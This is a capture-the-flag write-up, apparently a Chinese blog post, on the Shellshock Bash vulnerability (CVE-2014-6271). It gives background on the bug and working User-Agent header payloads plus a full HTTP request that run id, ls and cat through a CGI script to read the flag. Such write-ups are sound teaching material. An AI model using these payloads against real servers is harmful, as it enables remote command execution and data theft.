Shellshock 破壳漏洞 Writeup

破壳漏洞

CVE编号:CVE-2014-6271
题目URL:http://www.whalwl.site:8029/
提示:flag在服务器根目录


ShellShock (CVE-2014-6271)

虽然该漏洞的名称为 ShellShock( 中译为 " Shell 破壳漏洞 " ) , 但实际上是产生于 GNU BASH( Bourne Again Shell ) . Bash是一个命令处理器 , 通常运行于文本窗口中 , 能执行用户输入的命令。
ShellShock 漏洞是在 2014 年 9月 被披露的 , 该漏洞最早可以追溯到 1989 年发布的 Bash 1.03 版本 , 距今已有快30年了 . 在漏洞刚被披露时 , 其严重性直接被定义为 10 级( 最高级别 ) , 要知道同年 4 月爆发的 " OpenSSL 心脏出血 " 漏洞才 5 级 , 可见其危害性之大 , 影响范围之广。
扩展阅读:
ShellShock 破壳漏洞( CVE-2014-6271 )分析笔记
Shellshock 破壳漏洞(CVE-2014-6271)


poc:

  1. User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id

  2. User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/ls /

  3. User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/cat /this_is_flag

GET /cgi-bin/poc.cgi HTTP/1.1
Host: www.whalwl.site:8029
Upgrade-Insecure-Requests: 1
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/cat /this_is_flag
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.whalwl.site:8029/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

image

posted @ 2021-08-14 23:50  jzking121  阅读(267)  评论(0编辑  收藏  举报